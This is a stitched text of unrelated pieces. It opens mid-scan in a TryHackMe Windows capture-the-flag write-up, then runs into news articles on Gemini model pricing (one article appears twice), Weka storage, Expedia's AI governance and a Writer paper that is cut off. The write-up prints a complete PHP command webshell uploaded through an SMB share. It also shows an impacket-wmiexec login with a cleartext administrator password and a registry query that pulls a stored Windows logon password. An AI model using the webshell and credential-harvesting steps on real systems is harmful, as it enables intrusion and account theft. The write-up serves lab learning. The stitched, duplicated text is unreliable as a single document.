|_  http/1.1
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DESKTOP-997GG7D
| Not valid before: 2026-07-08T06:13:45
|_Not valid after:  2027-01-07T06:13:45
|_ssl-date: 2026-07-09T06:17:29+00:00; +2s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: DESKTOP-997GG7D
|   NetBIOS_Domain_Name: DESKTOP-997GG7D
|   NetBIOS_Computer_Name: DESKTOP-997GG7D
|   DNS_Domain_Name: DESKTOP-997GG7D
|   DNS_Computer_Name: DESKTOP-997GG7D
|   Product_Version: 10.0.18362
|_  System_Time: 2026-07-09T06:17:20+00:00
5900/tcp open  vnc           VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     Ultra (17)
|_    VNC Authentication (2)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-time: 
|   date: 2026-07-09T06:17:22
|_  start_date: N/A

• As revealed in the scan output, the target had open FTP and SMB services running. It also had VNC running on port 5900, which is a tool used to remotely control a computer. The target also had an Apache web server running on port 80.
• I visited the webpage and saw a slideshow of several random images.

• I checked the page source and found the following JavaScript code.

• The code here revealed the /content.php file and the /images/ endpoint.
• I visited the /images directory and found the following images that were running on the slideshow.

• Next, I moved to FTP enumeration. I got access to the FTP directory because anonymous login was enabled.

• There was a notice.txt file.

• There was a message left in notice.txt written as follows.

• It mentioned that the images FTP directory was moved to a Windows file share, which more probably than not referred to SMB shares.
• Next, I moved on to SMB enumeration.

0x01: SMB Enumeration

• I used smbclient to list the available shares on the target.

• Here I could see several custom shares such as images$ , Installs$ and Users.
• I first checked the images share and found the following images as I had seen in the /images directory on the webpage. I wondered if we could upload a webshell here and gain an initial foothold.

• I got the PHP reverse shell from PentestMonkey, configured it with my custom IP address and port, and uploaded it to the images SMB share.

• I navigated to the /images endpoint on the webpage and tried running the webshell but it immediately got flagged by Windows Defender and was deleted.
• Next, I tried using a different webshell which executed commands and took the input via GET-based parameters.

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

• I uploaded the shell again to the SMB images share and it worked like a charm!

0x02: Web Shell

• I was logged in as the sign user. I looked for the user flag in the sign user directory.

• The user flag was found in the user_flag.txt file.
• Next, I checked out the Installs share in C:\ directory.

• The following files were found in the directory.

• There were a lot of interesting files to check out here. I viewed the contents of every file, starting with Install Guide.txt .

• I couldn’t figure out how these instructions could be of any use to me, so I moved on to other files.
• I checked the Install_www_and_deploy.bat script and found the following code.

• This seemed like a batch script that was running the infamous PsExec tool by Impacket, authenticating with administrator credentials. Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.
• I used Impacket’s WMIExec tool to get a shell on the target. I could have used PsExec, but considering Windows Defender was running on the target, it would have been easily flagged.

impacket-wmiexec Administrator:RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi@10.48.186.208

0x03: Admin Shell

• I also had to find the sign user’s password as per the objectives stated in the room. It took me quite a few lookups on Google till I eventually found a way to get the password from the Windows Registry.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

• I was able to fetch the user's password from the Winlogon registry key.
• Next, I had to find the VNC password. My first instinct was to return to the Installs share as before and look through the ultravnc.ini file.

• As can be seen in the first lines of the file itself, we found the encoded password.
• I took the encoded parts of the password and used this website to decode them. Online VNC Password Decoder (Decryptor) — KeyDecryptor Tool

• I had successfully obtained the VNC password. The only objective that remained was the administrator flag.
• I checked the Desktop folder of the Administrator and found the admin flag in admin_flag.txt .

• And with that, all the flags were obtained, and the room was solved!

I hope you found this write-up useful. Make sure to drop a follow for more such content in the future.

Happy Hacking!

AllSignsPoint2Pwnage — TryHackMe Windows Write-up was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read the full article on GamingOnLinux.

The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

Respectable benchmark performance at low cost

The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

Models for low-cost coding, agentic, and cybersecurity use cases — respectively

Google divided its new offerings into three distinct products tailored for different operational needs.

Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting.

The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.

Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

Commercial licensing only

The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

Looking ahead

Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve additional users or generate new responses.

Instead of treating GPU memory as the limiting resource, why not extend it with much cheaper storage technologies?

Weka, for one, believes that cheap flash storage can close that gap. The company's NeuralMesh 6 software platform, launching alongside its first self-designed hardware line, Wekapod 3, extends what Weka calls Augmented Memory Grid, an approach that aggregates NAND flash to behave like GPU memory at a fraction of the cost.

This is an active and increasingly crowded category. Dell, NetApp, Pure Storage and VAST have all repositioned toward AI infrastructure over the past two years and Weka is one of several vendors arguing it's built for this specific moment rather than adapting to it.

"What we're seeing now with customers is they're chasing availability of compute, and once they get new allocation from anyone, they want to be able to grab it and start running right away," Weka co-founder and CEO Liran Zvibel, told VentureBeat.

The potential payoff is straightforward: better utilization of existing GPU investments, lower inference costs and faster deployment of new AI workloads without waiting months for additional GPU capacity.

The technology is most relevant for organizations already operating AI at scale or expecting rapid growth in usage, particularly enterprises building internal copilots, customer service agents, software engineering assistants or retrieval systems with long context windows. Smaller deployments may see less immediate benefit than organizations where GPU utilization has already become a limiting factor.

Inside Weka's NeuralMesh 6

NeuralMesh 6 adds four capabilities aimed directly at a functionality gap Zvibel says has been costing Weka deals in competitive evaluations.

Composable and virtual multi-tenancy. Composable clusters give anchor tenants full hardware-level isolation, dedicated CPU, memory, and storage. Virtual multi-tenancy runs through Weka's RDMA fabric, delivering network-level isolation that scales past 1,000 tenants per cluster, with provisioning in under 30 minutes. Combined, a single cluster running 50 composable clusters can support up to 50,000 tenants. 

Unified file and object storage. Most storage systems keep two separate paths: a file-based path (the standard way servers and applications read and write files, used heavily in training and fine-tuning pipelines) and an object-based path (S3, the format inference and cloud-native tools typically expect). Normally a gateway translates between the two, meaning the data effectively exists twice. Weka's claim is that the same physical data on disk is directly readable through either path at once, no translation layer, no second copy. Zvibel is targeting non-AWS GPU clouds specifically, naming Lambda, Nebius, G42, and CoreWeave, with what he described as roughly two orders of magnitude higher performance than conventional S3 and a capacity-based pricing model instead of per-API charges. 

Metadata-first replication. Destination environments become browsable before a full data copy arrives, with data hydrating only when accessed. 

"They had to wait for all of that to make it to the other side, and this takes days or weeks, in extreme cases a month," Zvibel said. "We now allow our customers to grab some allocation of new GPUs and get up and running within an hour."

AlloyFlash and Always-On data reduction. TLC and QLC are two types of NAND flash memory. TLC is faster and more durable but costs more per terabyte, while QLC is cheaper and holds more data per chip but is slower. AlloyFlash mixes both within a single cluster, automatically routing latency-sensitive work to TLC while running bulk-capacity workloads on QLC, cutting cost per terabyte without a performance penalty on the work that needs speed. Data reduction now runs by default rather than as an option.

Solving AI's context problem

Multi-tenancy and object storage solve how enterprises and neo clouds operate the platform day to day. A harder problem sits underneath: as context windows and multi-turn interactions grow, so does the GPU compute wasted recalculating work a model has already done. Augmented Memory Grid, a NeuralMesh 6 feature built specifically for this, is Weka's answer.

Every prompt triggers two stages. Prefill calculates attention, the core mechanism behind how large language models process input, and it's computationally expensive. Decode converts that calculation into output and is comparatively lightweight.

The cost shows up hardest in multi-turn sessions like chat or coding, where each new turn re-triggers prefill for everything that came before it, unless that work has been cached.

"If you have 10 turns, you may overcalculate 100 times because you're redoing all of them. If you have 20, you'll overcalculate 400 times," Zvibel said. "You can put two orders of magnitude more NAND than you could afford in shared memory, and we can cache 100% of the pre-calculated tokens, so you never need to redo it."

Where Weka sits competitively

Storage vendors have spent the past year and a half repositioning around AI, and separating genuine capability from repositioned messaging is now a real evaluation problem for buyers. 

"The storage world is shifting its focus from serving bits to enterprise workloads to managing data at the speed of AI. We've seen that most clearly over the past 18 months from Dell, NetApp, and Pure," Steve McDowell, chief analyst at NAND Research, told VentureBeat. "The interesting thing is that companies like Weka, and VAST, are the true AI-native data companies, solving these problems since day one."

McDowell singled out Augmented Memory Grid as Weka's clearest technical lead. 

"Weka continues to have the most technically capable KV cache implementation on the market with its Augmented Memory Grid," he said. " They were early with this technology, and continue to innovate. This is critical for AI inference, as it enables a level of GPU efficiency that, without question, saves money on GPUs and memory. That’s key for today’s memory and GPU constrained market." 

He also flagged Weka's contractual guarantee on its data reduction claims as underappreciated. 

"One flying a little under the radar: Weka is putting its money where its mouth is with its contractual guarantees for its data reduction promises," he said.

McDowell's advice to buyers evaluating competing claims from Weka, VAST, Pure and NetApp alike was pointed suggesting that enterprise buyers should look hard at what vendors are promising versus what they're actually delivering.

"A smart buyer will look at how competing vendors are solving real-world problems today," McDowell said. " They do this by talking to organizations running similar workloads at similar scale. If a vendor can't point to that, then it should be a warning sign."

The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

Respectable benchmark performance at low cost

The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

Models for low-cost coding, agentic, and cybersecurity use cases — respectively

Google divided its new offerings into three distinct products tailored for different operational needs.

Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark.

Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

Commercial licensing only

The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

Looking ahead

Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy,

the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”

Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI.

VentureBeat’s VB Pulse research on the evaluation gap reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.

Don’t let guardrails get in the way of feedback

“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.

Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.

Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.

In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and the checks shift from recommended to required as the stakes climb.

Specialized agents over monolithic intelligence

“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”

Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”

Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.

When the user must keep the final click

Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.

“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.

“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”

The next attackers will be other AI systems

“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”

A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”

Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June Pulse survey on agent security, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.

Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”

The post Google’s Gemini 3.6 Flash targets enterprise agent token costs appeared first on AI News.

Future-proof your home network with a near-mint refurbished Asus RT-BE92U Wi-Fi 7 router, offering low latency and built-in security.

(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

A new paper from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. 

By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.

Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.

The ROI crisis of tokenmaxxing

The current state of AI engineering is plagued by "tokenmaxxing," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. 

Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. 

"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. 

"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."

Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.

The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: 

• Prompt compression condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. 

